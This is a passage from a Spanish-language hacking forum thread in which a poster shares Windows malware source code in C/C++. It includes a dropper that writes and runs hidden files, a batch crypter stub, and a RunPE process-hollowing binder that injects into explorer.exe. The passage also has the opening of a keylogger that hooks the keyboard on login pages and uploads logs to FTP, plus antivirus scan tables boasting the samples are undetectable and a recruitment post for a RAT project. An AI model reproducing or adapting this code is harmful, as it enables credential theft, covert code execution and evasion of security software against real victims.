return EXIT_SUCCESS;
}

//De lo contrario creamos el archivo

//Ajustamos el nuevo tamaño
dwSize -= NewSize;

//Creamos el nuevo buffer
NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
CopyMemory ( & NewBuffer [ 0 ], & Buffer [ NewSize ], dwSize );

Path = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );

char firmita [ 250 ];
wsprintf ( firmita, "%sEXE", "#" );
lstrcatA ( firmita, "CUTABLE#" );

split_struct *resultado = split ( NewBuffer, ( LPSTR ) firmita, dwSize );

//Recorremos los items
for ( int i = 1; i <= resultado -> number_string; i ++ )
{

//Comprobamos que la cadena que obtenemos no sea una invalida.
if ( _lstrlen ( resultado -> string_data [ i ] ) <= 0 ) i += 1;

//Abrimos un nuevo archivo de modo oculto para su ejecución de modo que no sea sospechoso.
File = CreateFileA ( resultado -> string_data [ i ], GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, ( 0x1 | 0x2 | 0x4 ), 0 );

//Si no podemos crear el archivo
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );

return EXIT_FAILURE;
}

//Escribimos la ruta, y calculamos el tamaño a escribir.
WriteFile ( File, resultado -> string_data [ i + 1 ], dwSize - _lstrlen ( resultado -> string_data [ i ] ), &dwBytes, 0 );
CloseHandle ( File );

//Ejecutamos el archivo, y esperamos por el hasta que se cierre.
CreateProcessA ( resultado -> string_data [ i ], 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &si, &pi );
WaitForSingleObject ( pi.hProcess, INFINITE );

//Eliminamos el archivo una vez haya sido terminado de ejecutar.
SetFileAttributesA ( resultado -> string_data [ i ], FILE_ATTRIBUTE_NORMAL );
DeleteFileA ( resultado -> string_data [ i ] );

//Liberamos el buffer
GlobalFree ( resultado -> string_data [ i ] );

//Interrumpimos el for
break;
}

//Liberamos los buffers.
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );

//Salimos
return EXIT_SUCCESS;
}




Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805    Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean

Es todo espero que le sirva a alguno! se aceptan comentarios, criticas, y lo que se te cruze en mente.  ;D
#6



Hola que tal!  ;D estamos buscando interesados en colaborar y participar del proyecto RAT UnderC0de
Para el UDT; El proyecto se desarrollara en C/C++ (Servidor)  y C# - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ( Cliente ).
Trabajando en el proyecto

xxneeco83xx -   ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
BDWONG  -  ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
blackdrake  -  ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
79137913  -  ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
stakewinner00  -  ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )

Estado de desarrollo Servidor : %5
-Conexión estable terminada
-Keylogger terminado
-Algoritmo de encryptación terminado
-Autolectura para obtener datos de donde conectar, puerto, etc etc. (Completo)

Estado de desarrollo del Cliente : %0


Nuestra idea es lograr un RAT que logre ser FUD y funcione perfectamente! una vez liberado el proyecto podrán usarlo los miembros activos del foro, y se darán licencias a los users mediante a sorteos
Las tareas serán divididas, y trabajamos en un campo en lo cual estamos hablando para coordinar.

Requerimientos y búsquedas especiales.
CitarC, C++, VB, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, C#.
O uso de PhothoShop para la creación de logos, iconos y entorno visual.

Quienes quieran participar y estén interesados, o quieran saber más información pueden contactarme por MP, o por Skype, IRC, Gmail.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Skype : nico.buzzi
IRC User : Nico | No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
También pueden contactar a black! ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
#7



Hola, esta es una herramienta para quienes se dedican a programar scripts o sus cosas en batch, lo que hace este compilador es pasar tu programa a Ejecutable y lo crypta
y en ningún momento crea en el disco el archivo ni desencryptado ni cryptado, ejecuta comando por comando en memoria.
pueden usarse la variable %0 para autocopiarce con el nombre del ejecutable.




CitarCodigo del Stub! [C/C++]
Código: cpp

#include <windows.h>

int __stdcall ExecuteCommand ( IN LPSTR lpszCommand );
int __stdcall Decrypt ( LPSTR String, LPSTR Out );

int __stdcall ExecuteCommand ( IN LPSTR lpszCommand )
{

LPSTR szPath;
char newcommand [ lstrlenA ( lpszCommand ) + 50 ];
STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory ( &si, sizeof ( si ) );
ZeroMemory ( &pi, sizeof ( pi ) );

si.cb = sizeof ( si );

szPath = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );

GetSystemDirectoryA ( szPath, MAX_PATH );
CopyMemory ( &szPath [ lstrlenA ( szPath ) ], &"\\cmd.exe", lstrlenA ( "cmd.exe" ) + 1 );

wsprintfA ( newcommand, "/c %s", lpszCommand );

CreateProcessA ( szPath, newcommand, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &si, &pi );

//ShellExecuteA ( HWND_DESKTOP, "open", szPath, newcommand, 0, SW_HIDE );

WaitForSingleObject ( pi.hProcess, INFINITE );

CloseHandle ( pi.hProcess );
CloseHandle ( pi.hThread );

GlobalFree ( szPath );

return 0;

}

//Funcion para desencryptar palabras
int __stdcall Decrypt ( LPSTR String, LPSTR Out )
{

for ( ; *String != '\0'; *String ++ )
{
if ( ( *String >= 65 ) && ( *String < 90 ) )
{
*Out = *String - 1;
}
else if ( ( *String >= 65 ) && ( *String == 90 ) )
{
*Out = *String + 1;
}
else if ( ( *String >= 97 ) && ( *String < 122 ) )
{
*Out = *String - 1;
}
else if ( ( *String >= 97 ) && ( *String == 122 ) )
{
*Out = *String - 1;
}
else
{
*Out = *String;
}

*Out ++;
}

return 0;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

DWORD dwBytes, dwSize;
HANDLE File;
LPSTR Buffer, Command, AppName, backup;
register DWORD bytes = 0, x = 0, total = 0, test = 0;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return EXIT_FAILURE;
}

dwSize = GetFileSize ( File, 0 );

Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) );
ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

//Buscamos la firma de nuestro programa.
for ( bytes; bytes <= dwSize; bytes ++ )
{
if ( Buffer [ bytes ] == '*' && Buffer [ bytes + 1 ] == '+' &&
Buffer [ bytes + 2 ] == '+' && Buffer [ bytes + 3 ] == '*' )
{
//Ajustamos el buffer y el nuevo tamaño.
Buffer += ( bytes + 4 );
dwSize -= ( bytes + 4 );

break;
}
}

//Desencryptamos el codigo en nustro EOF.
backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Buffer + 1 ) ) );
CopyMemory ( &backup [ 0 ], &Buffer [ 0 ], lstrlenA ( Buffer ) );

GlobalFree ( Buffer );

Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( backup ) + 1 ) );
Decrypt ( backup, Buffer );

GlobalFree ( backup );

for ( bytes = 0; bytes <= lstrlenA ( Buffer ); bytes ++ )
{
if ( Buffer [ bytes ] == 13 || Buffer [ bytes ] == '\n' )
{
Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + 10 ) );

CopyMemory ( &Command [ 0 ], &Buffer [ 0 ], ( bytes ) );

total = lstrlenA ( Command );
for ( x = 0; x <= total; x ++ )
{

//En caso de existir la variable %0 - la sustituimos por la ruta de nuestro ejecutable.
if ( ( Command [ x ] == '%' ) && ( Command [ x + 1 ] == 48 ) )
{
backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
CopyMemory ( &backup [ 0 ], &Command [ 0 ], lstrlenA ( Command ) );

GlobalFree ( Command );

Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + lstrlenA ( AppName ) + MAX_PATH ) );

CopyMemory ( &Command [ 0 ], &backup [ 0 ], x - 1 );
lstrcatA ( Command, " " );
backup += ( x + 2 );
CopyMemory ( &Command [ lstrlenA ( Command ) ], &AppName [ 0 ], lstrlenA ( AppName ) );

CopyMemory ( &Command [ lstrlenA ( Command ) ], &backup [ 0 ], total - ( x + 2 ) );

GlobalFree ( backup );

break;
}
}

for ( test = 0; test <= lstrlenA ( Command ); test ++ )
{
if ( ( Command [ test ] == 13 ) || ( Command [ test ] == '\n' ) )
{

backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
CopyMemory ( &backup [ 0 ], &Command [ 0 ], test );

ExecuteCommand ( backup );

Command += ( test + 1 );

GlobalFree ( backup );
}
}

//Ejecutamos el comando
ExecuteCommand ( Command );

//Reajustamos el buffer.
Buffer += ( bytes + 2 );

//Liberamos el buffer.
GlobalFree ( Command );
}
}

GlobalFree ( AppName );
GlobalFree ( Buffer );

return EXIT_SUCCESS;
}



ANALISIS FUD
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS: xxneeco83xx
#8

Hola! aqui les dejo el primer binder que programe, tiene ya un tiempo, pero lo probe en varios Windows, y funciona, es RunPE y soporta multiples archivos.
Pueden elegir el metodo de ejecucion, les dejo algunas imagenes, el codigo del STUB, el análisis y por supuesto el link de descarga.









Código: cpp

#include <windows.h>

typedef LONG ( __stdcall *_NtUnmapViewOfSection ) ( IN HANDLE pFile, IN PVOID ImageBase );

/*
##########################################################################
# Stub de panda binder 1
# Diseñado y desarrollado por xxneeco83xx
# Para Underc0de.org
#
# Soporta varios archivos
#
# [email protected]
##########################################################################
*/

//Estroctura MYFILE
typedef struct TAGfile {

char extension [ MAX_PATH ];
char randomize [ MAX_PATH ];
char modex [ MAX_PATH ];
} MYFILE, *LPMYFILE;

bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName );

bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName ) {

PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;
PIMAGE_SECTION_HEADER ISH;

PROCESS_INFORMATION PI;
STARTUPINFOA SI;

PCONTEXT CTX;
PDWORD dwImageBase;
LPVOID pImageBase;

int Count = 0;
                                                                                                                                        //NtUnmapViewOfSection
_NtUnmapViewOfSection NtUnmapViewOfSection = ( _NtUnmapViewOfSection ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "NTDLL.DLL"), "NtUnmapViewOfSection" );
if ( NtUnmapViewOfSection == 0L )
{
return false;
}

IDH = PIMAGE_DOS_HEADER ( Buffer );

if ( IDH->e_magic == IMAGE_DOS_SIGNATURE )
{

INTH = PIMAGE_NT_HEADERS ( DWORD ( Buffer ) + IDH->e_lfanew );

if ( INTH->Signature == IMAGE_NT_SIGNATURE ) {

RtlZeroMemory ( &SI, sizeof ( SI ) );
RtlZeroMemory ( &PI, sizeof ( PI ) );

if ( CreateProcessA ( AppName, 0L, 0L, 0L, false, CREATE_SUSPENDED, 0, 0, &SI, &PI ) )
{
CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
CTX->ContextFlags = CONTEXT_FULL;

if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) ) {
ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8), LPVOID ( &dwImageBase ), 4, 0L );

if ( DWORD ( dwImageBase ) == INTH->OptionalHeader.ImageBase )
{
NtUnmapViewOfSection ( PI.hProcess, PVOID ( dwImageBase ) );
}
else
{
return false;
}

pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID ( INTH->OptionalHeader.ImageBase ), INTH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE );

if ( pImageBase ) {

WriteProcessMemory ( PI.hProcess, pImageBase, Buffer, INTH->OptionalHeader.SizeOfHeaders, 0 );

for ( Count; Count < INTH->FileHeader.NumberOfSections; Count ++ )
{
ISH = PIMAGE_SECTION_HEADER ( DWORD ( Buffer ) + IDH->e_lfanew + 248 + ( Count * 40 ) );
WriteProcessMemory ( PI.hProcess, LPVOID ( (DWORD ( pImageBase ) + ISH->VirtualAddress ) ), LPVOID ( ( DWORD ( Buffer ) + ISH->PointerToRawData ) ), ISH->SizeOfRawData, 0 );
}

WriteProcessMemory ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INTH->OptionalHeader.ImageBase ), 4, 0 );
CTX->Eax = DWORD ( pImageBase ) + INTH->OptionalHeader.AddressOfEntryPoint;

SetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) );
ResumeThread ( PI.hThread );
}
}
}
}
}

GlobalFree ( Buffer );

return TRUE;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil ) {

//Variables globales.
HANDLE File;
DWORD dwSize, dwBytes, a, b, c, e, d, number_files, mode, size;

//Estroctura PE
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;

//Estroctura para CreateProcessA
STARTUPINFOA stinfo;
PROCESS_INFORMATION pi;

//Puntero a estroctura MYFILE
MYFILE file;

//Variables de tipo string puntero.
LPSTR Temp, Path, StubBuffer, AppName;

//Inicializamos contador random, y estrocturas stinfo y pi
srand ( GetTickCount () ); //Inicializamos el randomizador.
ZeroMemory ( &stinfo, sizeof ( stinfo ) );
ZeroMemory ( &pi, sizeof ( pi ) );

//Obtenemos nuestro nombre         /*GPTR MEMORY FIXED*/
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

//Nos leemos
File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0
, OPEN_EXISTING, 0, 0 );

if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {

CloseHandle ( File );
GlobalFree ( AppName );

return EXIT_FAILURE;
}

//Obtenemos nuestro tamaño
dwSize = GetFileSize ( File, 0 );

//Nos leemos.                       /*GPTR MEMORY FIXED*/
StubBuffer = PCHAR ( GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) ) );
ReadFile ( File, StubBuffer, dwSize, &dwBytes, 0 );

CloseHandle ( File );

//Liberamos nuestro nombre.
GlobalFree ( AppName );

for ( a = 0; a <= dwSize; a ++ ) {

//Buscamos la firma en el EOF
if ( ( StubBuffer [ a ] == 'c' ) && ( StubBuffer [ a + 1 ] == 'o' ) && ( StubBuffer [ a + 2 ] == 't' ) &&
( StubBuffer [ a + 3 ] == 'e' ) ) {

StubBuffer += ( a + 4 );
dwSize -= ( a + 4 );

/* Ajustamos el tamaño al del nuevo buffer, y configuramos el nuevo buffer */

break;
}
}

for ( b = 0; b <= dwSize; b ++ ) {

//Buscamos un buffer
if ( ( StubBuffer [ b ] == '*' ) && ( StubBuffer [ b + 1 ] == 'n' ) && ( StubBuffer [ b + 2 ] == 'e' ) &&
( StubBuffer [ b + 3 ] == 'w' ) && ( StubBuffer [ b + 4 ] == '*' ) ) {

//Comprobamos si estamos en el final
if ( ( StubBuffer [ b + 5 ] == 'f' ) && ( StubBuffer [ b + 6 ] == 'i' ) && ( StubBuffer [ b + 7 ] == 'n' ) ) {

GlobalFree ( Temp );
GlobalFree ( StubBuffer );

ExitProcess ( 0 );
}

//Obtenemos la extension del archivo.
CopyMemory ( & file.extension [ 0 ], & StubBuffer [ b + 5 ], 3 );
CopyMemory ( & file.modex [ 0 ], & StubBuffer [ b + 8 ], 1 );

//Obtenemos el modo a ejecutar
mode = atoi ( file.modex );

//Procedemos a buscar el final del archivo.
for ( c = b + 9; c <= dwSize; c ++ ) {

//Obtenemos el tamaño del nuevo archivo.
if ( ( StubBuffer [ c ] == '*' ) && ( StubBuffer [ c + 1 ] == 'n' ) && ( StubBuffer [ c + 2 ] == 'e' ) &&
( StubBuffer [ c + 3 ] == 'w' ) && ( StubBuffer [ c + 4 ] == '*' ) ) {
size = ( c - 1 );
break;
}
}

//Ruta del archivo a donde ejecutarnos.
char explorer [ MAX_PATH + 1 ];
wsprintfA ( explorer, "%s\\explorer.exe", getenv ( "windir" ) );

//Generamos la ruta del nuevo archivo.
wsprintfA ( file.randomize, "%s\\%d%d.%s", getenv ( "windir" ), rand () % GetSystemMetrics ( SM_CXSCREEN ), rand () % GetSystemMetrics ( SM_CYSCREEN ), file.extension );

//Obtenemos el buffer del archivo.
Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( size + 1 ) );
CopyMemory ( & Temp [ 0 ], & StubBuffer [ b + 9 ], c );

//Procedemos a limpiar el buffer
int orig = size;
for ( d = 0; d <= orig; d ++ ) {
if ( ( Temp [ orig - d ] == '*' ) && ( Temp [ orig - ( d - 1 ) ] == 'n' ) &&
( Temp [ orig - ( d - 2 ) ] == 'e' ) && ( Temp [ orig - ( d - 3 ) ] == 'w' ) && ( Temp [ orig - ( d - 4 ) ] == '*' ) ) {

//Reajustamos el tamaño del archivo.
size -= ( d - 1 );
break;
}
}

//Obtenemos PE
IDH = PIMAGE_DOS_HEADER ( Temp );
INTH = PIMAGE_NT_HEADERS ( DWORD ( Temp ) + IDH -> e_lfanew );

//Procedemos a crearlo.
if ( lstrcmpA ( file.extension, "exe" ) != 0 && lstrcmpA ( file.extension, "EXE" ) != 0 )
{
File = CreateFileA ( file.randomize, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, 0, 0 );

if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {

CloseHandle ( File );
GlobalFree ( StubBuffer );

return EXIT_FAILURE;
}

WriteFile ( File, Temp, size, &dwBytes, 0 );
CloseHandle ( File );
}
else
{
//Comprobamos que sea ejecutable.
if ( ( IDH -> e_magic == IMAGE_DOS_SIGNATURE ) )
{
if ( ( INTH -> Signature == IMAGE_NT_SIGNATURE ) )
{
if ( mode == 0 || mode == 1 )
{
EjecuteMemory ( Temp, explorer );
}
}

}
else
{
if ( mode == 0 )
{
CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &stinfo, & pi );
}
else
{
CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &stinfo, & pi );
}

/* SI no es archivo que contenga formato PE (Portable Executable) lo ejecutamos con CreateProcessA */
}
}

//Liberamos el buffer nuevamente asi podremos volver a utilizarlo en la siguiente vuelta

GlobalFree ( Temp );

//Ajustamos el buffer.
StubBuffer += ( size );

}
}

//Una vez finalizado la creacion de archivos, procederemos a liberar el buffer principal.

GlobalFree ( StubBuffer );

return EXIT_SUCCESS;
}





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Scanner   Engine Ver   Sig Ver   Sig Date   Scan result   Time
ahnlab   9.9.9   9.9.9   2013-05-28   Found nothing   4
antivir   1.9.2.0   1.9.159.0   7.11.253.84   Found nothing   43
antiy   AVL SDK 3.0   2014112615531100   2014-11-26   Found nothing   1
arcavir   1.0   2011   2014-05-30   Found nothing    25
asquared   9.0.0.4157   9.0.0.4157   2014-07-30   Found nothing    2
avast   150804-0   4.7.4   2015-08-04   Found nothing   56
avg   2109/8526   10.0.1405   2015-01-30   Found nothing   1
baidu   2.0.1.0   4.1.3.52192   2.0.1.0   Found nothing   4
baidusd   1.0   1.0   2014-04-02   Found nothing     1
bitdefender   7.58879   7.90123   2015-01-16   Found nothing   1
clamav   20760   0.97.5   2015-08-03   PUA.Win32.Packer.MingwGcc-2   1
comodo   15023   5.1   2015-08-01   Found nothing   3
ctch   4.6.5   5.3.14   2013-12-01   Found nothing   1
drweb   5.0.2.3300   5.0.1.1   2015-08-03   Found nothing   58
fortinet   27.158, 27.158   5.1.158   2015-08-04   Found nothing   1
fprot   4.6.2.117   6.5.1.5418   2015-08-04   W32/Felix:VC_program!Eldorado   4
fsecure   2015-08-01-02   9.13   2015-08-01   Found nothing      6
gdata   24.3819   24.3819   2014-08-29   Found nothing    7
hauri   2.73   2.73   2015-01-30   Found nothing   1
ikarus   1.06.01   V1.32.31.0   2015-08-04   Trojan.Win32.Agents   37
jiangmin   16.0.100   1.0.0.0   2015-07-30   Found nothing   21
kaspersky   5.5.33   5.5.33   2014-04-01   Found nothing   54
kingsoft   2.1   2.1   2013-09-22   Found nothing   4
mcafee   7879   5400.1158   2015-07-31   Found nothing   21
nod32   1777   3.0.21   2015-06-12   Found nothing   1
panda   9.05.01   9.05.01   2014-06-15   Found nothing   5
pcc   11.832.02   9.500-1005   2015-08-04   Found nothing   3
qh360   1.0.1   1.0.1   1.0.1   Found nothing   6
qqphone   1.0.0.0   1.0.0.0   2015-08-05   Found nothing   4
quickheal   14.00   14.00   2014-06-14   Found nothing   2
rising   25.17.00.04   25.17.00.04   2014-06-02   Found nothing   5
sophos   5.17   3.60.0   2015-08-01   Found nothing   20
sunbelt   3.9.2589.2   3.9.2589.2   2014-06-13   Found nothing   2
symantec   20150802.002   1.3.0.24   2015-08-02   Found nothing   1
tachyon   9.9.9   9.9.9   2013-12-27   Found nothing   3
thehacker   6.8.0.5   6.8.0.5   2014-06-12   Trojan/Ainslot.aa   1
tws   17.47.17308   1.0.2.2108   2014-06-16   Suspicious:Heuri.NewThreat.MVM   6
vba   3.12.26.4   3.12.26.4   2015-08-03   Found nothing   10
virusbuster   15.0.985.0   5.5.2.13   2014-12-05   Found nothing    42

Aqui el link de descarga
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx
#9


Hola! hoy traje un programa simple.
un keylogger que captura las paginas que visita la victima, y al detectar paginas especiales, asi sea facebook, twitter, gmail, hotmail, yahoo, que requieren login.
activa el HOOK del teclado durante 5 minutos para saber que presiona durante el login.
Sube los archivos a un FTP que configuren (pueden crearse uno gratis y funcional en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) yo hice las pruebas con uno de allí.
Tambien pueden usarlo en sus propios ordenadores, para controlar que paginas se visitan y los logins.

Les dejo el codigo & el compilado de ambos, cliente y stub.[/u



el stub al analizarlo me dio FUD, pero quizas con el agregado de EOF, pueda detectarlo algun AV.

Stub

Código: cpp

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define ALLOC(dwSizee) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSizee + 1 ) )
#define FREE(memblock) GlobalFree ( memblock )
#define GETSIZE(filename) GetSizeFile ( ( LPSTR )filename )

typedef PVOID IHANDLE;
typedef IHANDLE *LPIHANDLE;
typedef WORD I_PORT,*LPI_PORT;

#define LIB ( LPSTR ) "Wininet.dll"
#define ATTR ( DWORD ) ( 0x1 | 0x2 | 0x4 )

typedef BOOL ( __stdcall *_QueryFullProcessImageName ) ( IN HANDLE hProcess, IN DWORD dwFlags,
OUT LPTSTR lpExeName, OUT PDWORD lpdwSize );

typedef IHANDLE ( __stdcall *_iOpen ) ( IN LPCTSTR lpszAgent, IN DWORD dwAccessType, IN LPCTSTR lpszProxyName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags );
typedef IHANDLE ( __stdcall *_iConnect ) ( IN IHANDLE hInternet, IN LPCTSTR lpszServerName, IN I_PORT nServerPort, IN LPCTSTR lpszUsername, IN LPCTSTR lpszPassword, IN DWORD dwService, IN DWORD dwFlags, IN DWORD_PTR dwContext );
typedef BOOL ( __stdcall *_iCloseHandle ) ( IN IHANDLE hInternet );
typedef BOOL ( __stdcall *_iSend ) ( IN IHANDLE hConnect, IN LPCTSTR lpszLocalFile, IN LPCTSTR lpszNewRemoteFile, IN DWORD dwFlags, IN DWORD_PTR dwContext );

/*
Keylogger avanzado by xxneeco83xx
Detecta paginas de navegacion en Google Chrome & Firefox
En caso de entrar en paginas que requieran login y demas activa un keylogger por 4 minutos para detectar las teclas.
[email protected]
*/

class PUT_LOGGER
{
private:
IHANDLE Request, Connection;

_iOpen iOpen;
_iConnect iConnect;
_iCloseHandle iCloseHandle;
_iSend iSend;

public:

bool __stdcall ToFile ( PCHAR Server, PCHAR UserName, PCHAR PassWord,
PCHAR FileNameLocal, PCHAR FileNameRemote );

} PUTLOG, *LPUTLOG;

static char path [ MAX_PATH + 1 ];

FILE* salida;
HHOOK hHook;
MSG msg;

BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam );
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
DWORD __stdcall Keyboard_Trap ( VOID );

LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter );
BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter );

int __stdcall GetMyName ( IN char name [ 256 ] );
BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize );
DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath );
BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize );
BOOL __stdcall FileExists ( IN LPSTR lpszPath );

bool __stdcall PUT_LOGGER::ToFile ( PCHAR Server, PCHAR UserName, PCHAR Password,
PCHAR FileNameLocal, PCHAR FileNameRemote )
{

iOpen = ( _iOpen ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetOpenA" );
iConnect = ( _iConnect ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetConnectA" );
